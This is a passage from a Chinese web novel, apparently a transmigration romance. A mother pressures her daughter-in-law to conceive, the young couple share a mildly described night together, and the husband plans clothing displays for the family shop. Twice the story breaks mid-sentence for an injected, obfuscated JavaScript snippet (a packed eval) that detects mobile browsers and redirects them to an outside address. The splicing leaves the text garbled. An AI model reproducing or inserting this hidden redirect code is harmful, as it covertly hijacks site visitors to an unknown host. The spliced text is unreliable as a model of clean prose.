抵达城中,林羽与肖晨等人相互道别后,各自散去。肖晨领着玉溪和李傲雪,缓缓朝着肖家走去。一路上,肖晨脚步略显沉重,奔波一夜加上精神上的疲惫,让他整个人都有些萎靡不振。 踏入肖家大门,熟悉的景象映入眼帘,那股家的归属感稍稍缓解了他的疲惫。然而,他猛地想起今日还有读书的课业,无奈地轻叹了口气,强打起精神,转身朝着书房的方向走去。 李傲雪看着他疲惫的背影,心中满是心疼,忍不住说道:“少爷,你都这么累了,要不今日就向夫子告个假,休息一日吧?” 肖晨回头,朝她露出一个安抚的微笑:“无妨,读书不可懈怠,我去去便回。你和玉溪也累了,回房好好休息。”说罢,便毅然转身,继续前行。 当他踏入书房时,夫子已经在那里等候。夫子见他面色疲倦,微微皱眉,关切地问道:“肖晨,你脸色不佳,可是身体不适?” 肖晨赶忙行礼,恭敬地回答:“夫子,学生并无大碍,只是昨夜休息得少了些,不碍事的,还请夫子授课。” 夫子点了点头,虽对肖晨的坚持表示赞许,但也不免叮嘱道:“求学固然重要,但也要注意身体,切不可过度劳累。”随后,夫子展开书卷,开始授课。 肖晨努力集中精力,试图跟上夫子的讲解,然而,疲惫还是如潮水般不时袭来。他暗暗掐了自己几下,强撑着精神,手中的笔在纸上划过,记录着夫子讲授的要点。 肖母一宿没见儿子儿媳回来,正满心担忧。这时,丫鬟匆匆走进来禀报道:“夫人,少爷和少夫人回来了。”肖母这才松了口气,赶忙吩咐道:“你去把少夫人叫过来,我有话问她。” 不多时,李傲雪来到肖母房中,规规矩矩地行了个礼,轻声说道:“母亲,儿媳给您请安。”肖母打量着李傲雪,见她神色间透着几分疲惫,不禁问道:“昨天你们去哪了?一晚上都不见人影。” 李傲雪微微低下头,如实答道:“母亲,我们去逛灯会了,不知不觉就回来晚了。” 肖母点了点头,又凑近李傲雪,脸上带着几分关切与期待,低声问道:“近期你们同房没?”李傲雪的脸“唰”地一下红到了耳根,羞涩地摇了摇头,轻声说道:“没……还没有,母亲。” 肖母听闻,眼中闪过一丝失望,但还是拍了拍李傲雪的手,语重心长地说道:“傲雪啊,你和晨儿成婚也有段时日了,这子嗣之事可得抓紧些。咱们肖家就盼着你们能早日开枝散叶呢。你也知道,这延续香火可是大事,你平日里多上点心。” 李傲雪羞得头更低了,小声应道:“儿媳明白,母亲教诲,儿媳定当牢记于心。” 肖母见状,笑着安慰道:“好了好了,也别太害羞。我这也是为你们好,为咱们肖家好。你回房休息吧,瞧你累的。” 李傲雪如释重负,再次行礼后,便匆匆退出了房间,心中满是复杂的情绪,既有对肖母催促的羞涩与无奈,又深知自己在肖家所肩负的责任。 肖母看着李傲雪离去的背影,转头对身旁的丫鬟说道:“你把这几件衣服送到少夫人房里去,就说是我特意给她准备的,让她晚上试试。”丫鬟应了一声,便拿着衣服匆匆去往李傲雪的房间。 李傲雪刚回到房中坐下,正想着肖母方才的话,有些怔神。这时,丫鬟敲门进来,笑着说道:“少夫人,这是老夫人让我给您送来的衣服,说是她的一番心意,让您晚上试试。”李傲雪疑惑地接过,道谢后,待丫鬟离开,才打开包裹。 当她看到里面竟是几件颇为暴露的睡衣时,不禁瞪大了眼睛,脸颊瞬间涨得通红。睡衣的款式极为大胆,轻薄的布料,低胸的设计,还有那若隐若现的蕾丝花边,与她平日里的穿着风格大相径庭。她怎么也没想到肖母会送这样的衣服过来,一时间,心中满是窘迫与不知所措。拿着衣服的手微微颤抖,既觉得尴尬万分,又隐隐明白肖母此举的用意,可这实在让她难以接受。 犹豫再三,她决定还是先将衣服收好,思索着该如何委婉地跟肖母提及此事,又不至于让老人家难堪。毕竟肖母也是为了肖家的子嗣着想,只是这样的方式实在太过唐突。李傲雪轻叹了口气,坐在床边,陷入了沉思。 到了中午饭点,李傲雪收拾好心情,陪着肖母一同坐在餐桌前。桌上摆满了精致的菜肴,可李傲雪心里还惦记着那几件暴露睡衣的事,有些心不在焉。 肖母看在眼里,夹了一筷子李傲雪爱吃的菜放到她碗里,笑着问:“傲雪,衣服你都收到了吧?”李傲雪手中的筷子微微一颤,脸上泛起一抹红晕,犹豫了一下,轻声答道:“收到了,母亲,只是……”她抬起头,小心翼翼地观察着肖母的神色,不知该如何措辞。 肖母仿佛没察觉到她的为难,兴致勃勃地说道:“我特意让人准备的,款式新颖着呢。你晚上穿上试试,晨儿肯定喜欢。你们小夫妻呀,也该增进增进感情,早日给咱们肖家添个大胖孙子。” 李傲雪的脸更红了,嗫嚅着说道:“母亲,这衣服……实在是太……太特别了,儿媳平日里没穿过这样的,恐怕……恐怕不太习惯。”肖母微微一愣,随即明白了李傲雪的意思,不禁笑出声来:“傻孩子,这有什么不习惯的。夫妻之间嘛,就得有点情趣。你呀,别太害羞,听娘的准没错。” 李傲雪无奈地笑了笑,轻轻点头,却依旧觉得十分难为情。肖母见她这样,也不再多说,只是叮嘱道:“总之,你晚上试试,要是实在不喜欢,再说。快吃饭,菜都要凉了。”李傲雪应了一声,默默吃着饭,心里却还在纠结该怎么应对这尴尬的状况。 二人用完餐,丫鬟们迅速上前将餐具收拾妥当。肖母趁着四下无人,从袖中掏出一本装帧精致却透着几分隐秘气息的书,递到李傲雪手中。李傲雪低头一看,赫然写着“房中术”三个字,顿时面红耳赤,想要推脱。 肖母却握住她的手,语重心长道:“傲雪啊,娘知道你脸皮薄,可这子嗣大事耽误不得。娘把方法都给你了,你务必按照上面的去做。明儿个我可要知道结果。咱们肖家就盼着抱孙子呢。” 李傲雪满心窘迫,手攥着那本书,只觉烫手无比。她嗫嚅着:“母亲,这……这实在太……”肖母打断她:“别推脱了,你和晨儿都是懂事的孩子,娘就指望你们了。快收好了。” 李傲雪无奈,只得将书藏进袖中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993184|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,匆匆告退。回到房里,她将书放在桌上,仿佛那是个烫手山芋。在房里踱步许久,心中满是纠结。一方面是肖母的殷切期望,另一方面,这对她来说实在是太过羞于启齿的事。可又深知在这深宅大院,子嗣之事关乎家族兴衰,容不得她逃避。不知过了多久,她终于鼓起勇气,瞥向那本“房中术”,脸上的红晕始终未退。 李傲雪在极度的羞涩中,还是缓缓翻开了那本《房中术》。书中的内容让她面红耳赤,一颗心仿佛要跳出嗓子眼。每看一行字,她都觉得自己的脸皮在发烫,可想到肖母的殷切期望以及家族对子嗣的看重,她咬着牙坚持看了下去。 待看完后,她像是做了什么错事一般,慌乱地将书藏到了柜子深处,仿佛这样就能把方才的羞涩一并藏起来。而后,她唤来丫鬟,声音微微发颤地说道:“去……去帮我准备洗澡水。”丫鬟领命而去。 沐浴时,温热的水包裹着她,可她的思绪却仍在方才看过的内容上徘徊。洗完澡后,她精心地梳理了头发,对着镜子,看着镜中面色绯红的自己,深吸了几口气,试图让自己镇定下来。 晚上,她在房里简单用过晚饭,饭菜的味道她几乎毫无察觉。待丫鬟撤下碗筷后,她缓缓走到衣柜前,拿出了肖母送来的那套暴露睡衣。手指触碰到睡衣的那一刻,她的手忍不住颤抖了一下。 在一番内心挣扎后,她还是红着脸换上了睡衣。睡衣轻薄的布料贴在肌肤上,让她浑身不自在。她忐忑地走到床边,拉过被子,半躺半坐地倚在床头,心脏“砰砰”直跳,眼睛时不时看向门口,既期待又害怕肖晨回来,不知等会儿要如何面对他。 肖晨用过晚饭,习惯性地想找李傲雪聊聊,却不见她的身影,便随口问一旁的丫鬟。丫鬟恭敬答道:“少夫人今天很累,已经在休息了。”肖晨听闻,心想或许是昨天在外面玩得太尽兴,奔波劳累所致,便没再多想。 晚饭后,他如往常一样来到房里。刚踏入房门,屋内柔和的灯光映入眼帘,他一眼便瞧见躺在床上的李傲雪。只见她半掩在被子里,露出的肌肤在灯光下透着细腻的光泽,身着的睡衣款式颇为大胆,让肖晨微微一怔。 肖晨走到床边,关切地问道:“会不会很冷?”李傲雪此时紧张到了极点,一颗心仿佛要跳出嗓子眼,她紧闭双眼,脸颊滚烫,根本不敢开口说话,只是轻微地摇了摇头。 肖晨见她如此反应,心中有些疑惑,但也没再多问。他以为李傲雪是太累了,便轻手轻脚地走到另一边,准备上床休息。这一晚,李傲雪躺在床上,思绪纷乱如麻,一方面是肖母的嘱托和那本《房中术》的内容,让她羞涩又紧张;另一方面,肖晨就在身边,她却不知该如何迈出第一步,内心的纠结与忐忑让她久久难以入眠。 肖晨脱下外衣,轻轻拉过被子,正准备躺下好好休息。就在这时,身旁的李傲雪鼓足了生平最大的勇气,微微颤抖着拉开被子,将自己的身材毫无保留地展现出来。 肖晨一转头,看到眼前的场景,不禁微微一愣,随即眼中闪过一丝惊艳,由衷赞叹道:“你穿着这睡衣很好看,这款式很合适你。”说罢,他眼中满是好奇,问道:“你什么时候定做的?以前怎么没见你穿过?”他单纯地以为这只是李傲雪偶然间挑选的睡衣,完全没想到这背后的深意。 李傲雪此时满脸通红,心跳如雷,羞涩得几乎要将头埋进枕头里。她嗫嚅着,声音小得如同蚊蚋:“我……我也是才拿到……”话未说完,她便紧张得再也说不下去。她深知自己不能再这样退缩,可又实在难以启齿说出肖母的要求,内心在极度的羞涩与紧张中不断挣扎。 肖晨见她这般害羞模样,只觉得可爱,轻轻笑了笑,伸手将她揽入怀中,温柔地说道:“别害羞,你这样很美。今天是不是太累了,看你好像很紧张。”李傲雪依偎在他怀里,感受着他的温暖与关怀,紧张的情绪稍稍缓解了一些,可心中那股难以言说的羞涩依然如影随形。 李傲雪红着脸,鼓起勇气再次问道:“少爷,我……我穿成这样你喜欢吗?”她抬眸偷偷看了肖晨一眼,眼神中满是紧张与期待。 肖晨低头看着她,眼中带着笑意,不假思索地说道:“你穿着很美。这衣物这么好看,还有其他款式吗?你可以多做一些,以后穿着。”在他看来,李傲雪只是偶然间选了件别致的睡衣,单纯觉得妻子这样打扮十分赏心悦目。 李傲雪咬了咬嘴唇,心中又羞又急,她知道不能再这样兜圈子,可话到嘴边却又不知如何开口。犹豫再三,她微微扭动身子,将头埋在肖晨胸前,声音带着几分娇嗔与羞涩:“少爷,母亲……母亲她希望我们……”话说到一半,她实在难以启齿,双手不自觉地抓紧了肖晨的衣角。 肖晨这才微微一愣,似乎察觉到了什么,他抬起李傲雪的下巴,看着她满是娇羞的脸,心中已然明白了几分。他轻轻笑了笑,眼中满是温柔与宠溺,轻声说道:“傲雪,别为难自己。我明白母亲的意思,只是苦了你,要面对这些。”说着,他轻轻在李傲雪额头上落下一吻。 肖晨满脸笑意,眼神中尽是欣赏,继续说道:“但是你这样穿很好看。确实可以多做几件。你明天去找裁缝多备一些。好身材就要显示出来。” 李傲雪听着肖晨的话,红晕从脸颊蔓延到了脖颈,羞怯地将脸埋进肖晨怀里,声音带着些娇憨与无奈:“少爷,你就只知道打趣我。母亲可是盼着咱们……”话未说完,她的身子微微扭动,似是因害羞而不知所措。 肖晨轻抚着她的发丝,安抚道:“好了,我知道母亲的心意。只是见你如此可爱,忍不住想逗逗你。”他目光柔和,饱含深情,抱紧了李傲雪,又道:“不过你放心,我们的日子还长,有些事不必过于着急。但这睡衣,确实很衬你。” 李傲雪抬起头,水汪汪的眼睛看着肖晨,小声嘀咕:“可母亲说,明天要听结果呢。”说完,又不好意思地别过脸。 肖晨轻轻刮了刮她的鼻子,笑着说:“母亲那边,我去说。咱们顺其自然便好,可别让这些事扰了我们相处的情趣。”说着,他将被子往上拉了拉,将两人裹得更紧。 李傲雪眼中满是期待与坚定,看着肖晨轻声说道:“少爷,可是我真的想要个孩子。”在她心里,家族的期望与对新生命的渴望交织在一起,成了一股无法抑制的念头。 肖晨面露为难之色,轻轻叹了口气:“可是我现在没有心思。”近来他为学业和诗会之事奔波,身心俱疲,确实无暇顾及此事。 然而李傲雪心意已决,此刻她顾不了那么多。只见她脸颊泛红,眼神中透着决然,缓缓起身,微微颤抖着俯下身,轻轻压着肖晨,而后闭上眼睛,鼓足勇气将自己的唇贴了上去。这一吻带着她满心的期待与执着,她希望能借此让肖晨感受到自己的决心。 肖晨被她这突如其来的举动弄得有些不知所措,但很快,他感受到李傲雪唇间的温热与颤抖,心中不禁泛起一丝怜惜。在这静谧的夜里,李傲雪的主动打破了两人之间的犹豫与纠结,房间里的气氛也随之悄然改变。 李傲雪见肖晨没有推开自己,仿佛得到了某种鼓励,愈发主动起来。她双手微微颤抖着,急切地拉扯着肖晨的衣服,呼吸也变得急促起来。 肖晨察觉到她的意图,双手下意识地握住她的手腕,面露难色,语气带着几分无奈与挣扎:“不要这样。我不能啊……”此刻他心中有着诸多顾虑,既有对当下状态的考量,也有对这份突如其来亲密的不适应。 可李傲雪已然沉浸在自己的渴望之中,一心只想抓住这个机会。她的眼神中满是炽热,近乎执拗地说道:“少爷,我太想要你了……”她微微仰头,眼中闪着泪光,声音带着一丝哀求,似乎想凭借这份深情与执着,让肖晨改变心意。在她心里,拥有两人爱情的结晶,不只是为了完成家族的期待,更是她内心深处对这份感情最真挚的渴望。 24. 如果我是女子你还爱我吗 肖晨咬着牙,神情纠结,最终在李傲雪的坚持下,缓缓松开了握住她手腕的手,只能任由着她主动起来。 李傲雪见他不再阻拦,动作更加大胆。她双手轻柔却又急切地解开肖晨衣物的系带,呼吸越发紊乱,脸颊因激动和羞涩变得绯红如霞。 肖晨望着眼前神情炽热的李傲雪,心中的防线逐渐崩塌。他的眼神变得迷离,伸出手轻轻环住李傲雪的腰肢,感受着她身体传来的温度与微微的颤抖。 在这一室旖旎之中,两人的气息愈发交融。李傲雪微微颤抖的双手继续动作,随着衣物的滑落,彼此的肌肤相贴,传递着炽热的温度。肖晨从最初的犹疑,也渐渐被李傲雪的热情点燃,他的回应变得热烈而深沉。 窗外,月色如水,透过斑驳的窗棂洒在床榻之上,为这充满爱意的场景蒙上一层朦胧而梦幻的纱。房间里偶尔传来轻微的声响,交织着两人急促的呼吸,仿佛在演奏一曲专属他们的乐章。 不知过了多久,激情的浪潮逐渐退去,两人相拥而卧。李傲雪脸颊依旧泛着红晕,轻轻依偎在肖晨怀里,眼神中满是满足与羞涩。肖晨则温柔地抚摸着她的秀发,在她额头上落下轻轻一吻,低声说道:“傲雪,委屈你了。” 李傲雪微微摇了摇头,轻声说道:“只要能和你在一起,为肖家延续香火,我不觉得委屈。”说完,她抬起头,与肖晨目光交汇,眼中满是深情与眷恋。 两人在这温馨静谧的氛围中,又轻声交谈了许久,彼此倾诉着内心的爱意与对未来的期许。渐渐地,困意袭来,他们相拥着进入了甜美的梦乡。 第二天清晨,晨曦透过窗户轻柔地洒在床榻上。李傲雪悠悠转醒,刚一动弹,便忍不住轻呼出声,浑身的酸痛瞬间袭来,像是无数细密的针在扎。她的身子不由自主地微微颤抖,尽管昨夜是自己主动挑起情事,可后来肖晨的激烈,实在超出她的预料。 她嘟囔着,声音带着刚睡醒的慵懒与一丝娇嗔:“一个小孩子哪来那么多力气,折腾得我这会儿像散了架似的。”回想起昨夜种种,她的脸颊又悄悄泛起红晕,心中却又带着一丝甜蜜与羞涩交织的复杂情绪。 她小心翼翼地想要坐起身,却感觉每一处关节都在抗议。好不容易撑起身子,靠在床头,看着身旁还在熟睡的肖晨,忍不住轻轻戳了戳他的脸颊,小声嘀咕:“都怪你。”可那眼神里,却尽是藏不住的温柔与爱意。 这时,肖晨似乎察觉到了动静,缓缓睁开眼睛,看到李傲雪醒了,眼中闪过一丝关切,连忙问道:“傲雪,你怎么样?是不是身体不舒服?”看到她微红的脸颊和微微颤抖的身躯,瞬间明白过来,眼中满是歉意,“对不起,傲雪,昨晚我……是不是太鲁莽了。” 李傲雪微微抿唇,脸上带着羞涩又满足的浅笑,轻声说道:“少爷,我没事,你能碰我我就已经很开心了。以后我会照你说的做,多做几件衣服。只要你能多疼我就好。”她的眼神温柔而真挚,仿佛昨夜的疲惫与酸痛都被此刻的幸福所取代。 肖晨心疼地将她揽入怀中,轻轻抚摸着她的发丝,一脸歉意地说道:“是我不好,昨晚没控制好。你放心,以后我定会更加疼惜你。”说罢,在她额头落下一吻,满是宠溺。 李傲雪依偎在他怀里,感受着他的温柔与关怀,心中满是甜蜜。她微微仰头,看着肖晨,俏皮地说道:“那少爷可要说话算话,以后不许嫌弃我。” 肖晨抱紧了她,坚定地说道:“怎么会嫌弃你,你是我此生挚爱,我只会越来越珍惜你。” 肖晨轻轻放开李傲雪,温柔地看着她,说道:“我去穿衣洗漱,你就待在床上休息吧。”眼神里满是心疼与关切。 李傲雪连忙摇了摇头,挣扎着想要起身,嘴里说道:“少爷,我不起来谁来伺候你。”在她的观念里,照顾丈夫本就是分内之事。 肖晨赶忙按住她,语气不容置疑:“我不用伺候,你还是小心自己的身体。”他看着李傲雪微微颤抖的身躯,想到昨夜自己的莽撞,心里满是愧疚,“你现在身体不适,好好休息才是要紧事,这些琐事自有下人去做。” 李傲雪见肖晨这般坚持,心中涌起一股暖流,只好听话地点点头:“那好吧,少爷,你自己注意些。” 肖晨微笑着点点头,起身穿衣,动作利落。洗漱完毕后,他又回到床边,俯下身轻轻在李傲雪额头上吻了一下,说道:“我先去处理些事务,你要是有什么需要,就叫丫鬟。”说罢,这才转身离开房间,留下李傲雪靠在床头,眼中满是眷恋地看着他离去的背影。 肖母听着丫鬟眉飞色舞的汇报,脸上顿时笑开了花,高兴得合不拢嘴。她一刻也等不及,赶忙迈着轻快的步伐来到了李傲雪的房间。 一进门,看到靠在床头的李傲雪,肖母脸上的笑意更浓了,径直走到床边坐下,拉过李傲雪的手,喜滋滋地说道:“昨天的事情看来你做的不错。”李傲雪本就还有些羞涩,被肖母这么一说,脸“唰”地一下又红了,低着头,小声说道:“母亲过奖了,都是儿媳应该做的。” 肖母拍了拍她的手,满脸欣慰:“你能明白事理,为咱们肖家着想,我很是欢喜。以后啊,可得继续和晨儿好好相处,早日给我添个大胖孙子。”李傲雪轻轻点头,轻声应道:“儿媳定会努力,不辜负母亲的期望。” 肖母又打量了一下李傲雪的气色,关切地说:“看你脸色有些疲惫,是不是晨儿昨夜太莽撞了?你可得好好调养身子。有什么想要吃的,尽管跟厨房说。”李傲雪羞涩地笑了笑,说道:“多谢母亲关心,儿媳并无大碍,休息几日便好。” 肖母兴致勃勃地从袖中拿出一张图样,递到李傲雪面前,说道:“我听说你的绣工不错,这是我拿来的图样,你就按照这上面的款式去做衣服。晚上穿给自己的男人看。” 李傲雪接过图样,展开一看,只见上面的衣服款式大胆又别致,脸颊瞬间泛起红晕。她犹豫了一下,嗫嚅道:“母亲,这……”肖母拍了拍她的手,笑着说:“别害羞,夫妻之间就该有些情趣。你绣工好,做出来肯定好看,晨儿见了保准欢喜。” 李傲雪无奈地点点头,轻声应道:“儿媳明白了,只是这针法可能复杂些,需要些时日。”肖母笑着起身,说道:“不急不急,你慢慢做,做好了让我瞧瞧。我就盼着你们小两口和和美美,早日开枝散叶。”说完,便满意地离开了房间。 李傲雪看着手中的图样,轻轻叹了口气。尽管心中羞涩,但想到肖母的期望和对肖晨的感情,她还是决定用心将这衣服绣好。于是,她唤来丫鬟准备好针线布料,坐在窗前,专注地开始研究起图样上的针法,阳光洒落在她身上,映出她认真又略带羞涩的神情。 肖晨结束了一天的读书课业,觉着烦闷,便踱步来到自家店铺。掌柜老远瞧见少爷身影,赶忙笑脸相迎,好奇问道:“少爷,今日怎么想着来店里啦?” 肖晨微微苦笑,说道:“出来散散心罢了。”他环顾店内,各种货物摆放得整整齐齐,伙计们各司其职,忙碌而有序。然而,他的心思却不在这店铺的生意上。昨夜与李傲雪的亲密接触,让他心中既甜蜜又有些隐隐的担忧。甜蜜于两人感情的升温,担忧的是怕自己的鲁莽给李傲雪带来伤害。 掌柜见肖晨神情若有所思,以为他在考量店铺生意,赶忙凑上前说道:“少爷,最近店里生意不错,新上的那批绸缎,颇受主顾们喜爱,没几天就卖出好些。”肖晨心不在焉地点点头,随口应道:“嗯,做得好。不过,做生意不能只看眼前,还得留意着同行的动静,不断推陈出新才是。” 掌柜连连称是,又絮絮叨叨汇报了些账目上的事宜。肖晨听着,思绪却飘回到家中,想着李傲雪此刻在做什么,身体是否还难受。过了一会儿,他对掌柜说道:“我四处看看,你去忙你的吧。”说罢,便在店铺里慢慢踱步,可脑海中始终萦绕着李傲雪的身影。 肖晨灵光一闪,转头对掌柜说道:“你去寻些身材出众的男女,按照咱们店里各款式的衣服,重新设计一番,让他们穿上展示。如此一来,说不定能吸引更多人光顾。” 掌柜微微一愣,随即面露难色:“少爷,虽说这法子新奇,可一时间要找那么多身材好的男女,还得按要求设计衣服,怕是有些困难。而且,这展示衣服的方式,会不会太出挑,招来些闲言碎语?” 肖晨摆了摆手,自信满满道:“办法总比困难多。你多花些银子,去那戏班子、歌舞坊找找,定能寻到合适的人。至于闲言碎语,咱们做生意,只要能把买卖盘活,有些议论怕什么。只要展示得当,顾客们瞧着新鲜,自然会被吸引过来。” 掌柜思索片刻,觉得少爷所言有理,便点头应下:“是,少爷。我这就去安排,只是这设计衣服,还需少爷您定夺些细节,也好让裁缝们知晓方向。” 肖晨点点头,兴致勃勃地与掌柜商议起来,从衣服的剪裁、配色,到展示时的搭配、场景布置,两人讨论得热火朝天。肖晨心中满是期待,盼望着这新颖的展示方式能给店铺带来新的生机与活力,让生意愈发兴隆。 两人商讨许久,肖晨将诸多细节一一敲定,掌柜这才赶忙去着手安排。肖晨又在店里巡视了一圈,交代伙计们保持店面整洁,货物摆放规整,这才离开店铺,满心期待地回家。 一进家门,他径直走向自己和李傲雪的院子。刚踏入房门,便看到李傲雪正坐在窗前,专注地绣着手中的布料。阳光透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993185|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过窗户,洒在她身上,为她勾勒出一圈柔和的光晕,整个人显得温婉而娴静。 肖晨轻手轻脚地走到她身后,俯身一看,正是肖母拿来的图样,绣工精致细腻,针法娴熟巧妙。李傲雪察觉到身后动静,转过头,见是肖晨,脸上立刻绽放出笑容:“少爷,你回来啦。” 肖晨在她身旁坐下,握住她的手,说道:“看你这么辛苦,歇一歇吧。”李傲雪笑着摇摇头:“没事,母亲交代的事,我想用心做好。对了,少爷今日出去,可还顺心?” 肖晨将在店铺里想出的主意告诉了李傲雪,言语中满是兴奋与期待:“如此一来,咱们家店铺的生意定会更上一层楼。”李傲雪听后,眼中也闪烁着光彩:“少爷这个想法真是新奇又巧妙,想必顾客们定会眼前一亮。” 两人正说着,肖晨突然想起李傲雪身体或许还未恢复,心疼地说:“傲雪,你别太累着自己,这衣服慢慢绣也无妨。昨日……我是不是太不知轻重,让你受苦了?”李傲雪脸颊微微泛红,轻轻捶了一下肖晨的肩膀:“少爷说什么呢,我知道你是真心待我。而且,能与少爷这般亲近,我心里欢喜还来不及。” 肖晨将李傲雪拥入怀中,轻声说道:“你如此体谅我,我更该好好待你。等店铺这事儿有了成效,我带你出去好好游玩一番,也让你散散心。”李傲雪依偎在他怀里,脸上洋溢着幸福的笑容。 李傲雪眼眸含情,声音软糯:“少爷你真好,我好喜欢你。” 肖晨轻抚她的发丝,神色认真,缓缓问道:“如果我不是现在的我,而是变了一个人。你还会不会喜欢我?” 李傲雪微微一愣,随即毫不犹豫地抬起头,目光坚定地看着肖晨,说道:“少爷怎会突然这般问?无论你变成什么样子,我喜欢的都是你这个人,是你的温柔体贴,是你对我的真心,这些都不会因为外在改变而消失。就算你不再是如今的身份,模样也变了,可只要灵魂还是你,我对你的心意便永远不会变。” 肖晨听了她这番话,心中满是感动,将她搂得更紧,感慨道:“傲雪,能得你这般深情,是我几世修来的福气。我不过是突然生出这般奇怪念头,没想到你竟回答得如此真挚。” 李傲雪仰头看着他,俏皮一笑:“少爷以后可别再胡思乱想啦,咱们定会一直恩恩爱爱。倒是少爷,若我变了模样,你还会像现在这般喜欢我吗?” 肖晨低头,在她额头上落下一吻,郑重说道:“当然,不管怎样,我对你的喜欢只会有增无减。” 李傲雪脸上洋溢着幸福的笑容,说道:“有少爷这句话我就放心了,只要少爷在我身边就好。” 肖晨却像是来了兴致,又抛出一个奇特的问题:“要是我哪天变成了一个女子,你还会接受那样的我吗?” 李傲雪微微歪着头,眼中满是思索,片刻后,她莞尔一笑,轻柔地说:“少爷,在我心里,重要的是你这个人,是我们之间的情谊。就算你变成女子,你的性子、你的才情,还有我们相处的点点滴滴都不会改变呀。我想,我依然会像现在这样,珍视你、陪伴你。只要能与你相伴,性别又有何妨呢?” 肖晨听了她的回答,眼中闪过惊喜与感动,忍不住将她紧紧抱住,声音里带着一丝动容:“傲雪,你的回答总是让我如此惊喜。你这份深情,实在是世间罕有。” 李傲雪轻轻靠在肖晨怀里,娇嗔道:“少爷总是问些稀奇古怪的问题。不过呀,不管未来发生什么,我都愿与少爷一同面对。那少爷呢,要是我变成男子,少爷还能接受我吗?” 肖晨宠溺地刮了刮她的鼻子,笑着说:“当然能接受。不管你变成什么模样,何种身份,你永远是我最爱的傲雪,我对你的心意至死不渝。” 李傲雪一脸深情地凝望着肖晨,感慨道:“少爷,你跟我认知里的男子都不一样。这世间男子,大多轻视妻子,可你却这般尊重我、爱护我。而且,我从未见你对别的女人有过一丝欲望。” 肖晨温柔地握住她的手,目光诚挚:“傲雪,你是我携手一生的伴侣,理应被我尊重和爱护。至于其他女子,在我眼中不过是过客,我的心里自始至终只有你一人。夫妻之间,忠诚与深情本就是应有的。” 李傲雪眼中泛起感动的泪花,她微微哽咽着说:“能嫁给少爷,是我这辈子最幸运的事。我听闻不少妇人,在家中备受冷落,丈夫在外花天酒地,可我却能得少爷这般相待,实在幸福。” 肖晨轻轻为她拭去眼角的泪花,轻声安慰:“莫要哭,我既娶了你,便会一生护你周全,让你永远幸福。我们的日子还长,以后定会更加美满。”说着,他将李傲雪拥入怀中,轻轻抚摸着她的秀发,仿佛在向她承诺着永恒的守护。 25. 你为什么会嫁给我 肖晨望着怀中的李傲雪,眼中满是宠溺,柔声说道:“傲雪,以后你便叫我的名字吧,总叫我少爷,显得生疏了些。” 李傲雪微微一愣,脸上露出犹豫之色,轻声说道:“少爷,这不符合规矩啊。我自小受的教导便是要恪守本分,如此称呼实在万万不可以。”她低垂着眼眸,神情中透着一丝坚决。 肖晨无奈地叹了口气,轻轻捏了捏她的鼻子,笑着说:“罢了罢了,看来一时半会儿是改不了你的习惯了。那你还是继续叫我少爷吧。” 李傲雪抬起头,眼中带着歉意与感激:“少爷,还望您莫要怪罪,并非我不愿,只是这规矩在心中根深蒂固,一时难以改变。” 肖晨温柔地摸了摸她的头,说道:“我怎会怪罪于你,我明白你的顾虑。只要你在我身边,怎样称呼又有何妨。”李傲雪靠在肖晨怀里,感受着他的包容与理解,心中满是温暖。 肖晨微微皱眉,陷入回忆,却依旧无果,只得感慨:“在我的记忆里,你我确实都没有见过面。虽说咱俩定了娃娃亲,可关于你,我竟一点印象都没有。” 李傲雪轻轻一笑,耐心解释道:“少爷,按规矩,未婚男女成亲前是不可见面的。其实在你出生的时候,父母带我来你家串门,那时我才3岁 。你刚出生,谁抱都哭闹,可一看到我就笑了。长辈们见此情形,觉得咱俩有缘,这才把你我定了亲。” 肖晨听闻,眼中闪过一丝惊喜与好奇,细细打量着李傲雪,仿佛试图从她身上寻回那段缺失的记忆:“原来还有这般渊源,难怪长辈们那般笃定你我之事。” 李傲雪脸颊微微泛红,羞涩地低下头:“是啊,或许这就是缘分。自那之后,虽不能见面,但我心里,一直都记挂着少爷。” 肖晨轻轻握住李傲雪的手,深情说道:“如此看来,我们的缘分从那时便已种下。往后余生,我定不负这份上天赐予的缘分。 李傲雪微微垂眸,声音带着一丝羞怯与回忆:“我刚嫁进来的时候,满心都是担忧,就怕少爷会嫌弃我,不喜欢我。” 肖晨心中暗自苦笑,自己刚穿越过来,骤然面对这样的情境,看到她时着实吃了一惊。只是这缘由难以启齿,稍作思忖后,他开口说道:“刚开始嘛,毕竟你我都不熟,突然要我接受身边多了一个女人,我这心里确实还是有点难以适应。” 李傲雪轻轻点头,眼中满是理解:“我懂的,少爷。那时我也是满心忐忑,不知该如何与少爷相处。但相处下来,我才发觉少爷是这世上最好的人。”说着,她抬眸望向肖晨,目光中满是倾慕与深情。 肖晨看着李傲雪这般模样,心中泛起暖意,轻轻握住她的手:“好在如今我们也算相互了解了,往后的日子,我定不会再让你有这样的担忧。”李傲雪嘴角上扬,露出甜蜜的笑容,轻轻靠在肖晨肩头。 肖晨轻轻放开李傲雪,神色温和地说道:“我得出去看看,你继续做衣服吧。” 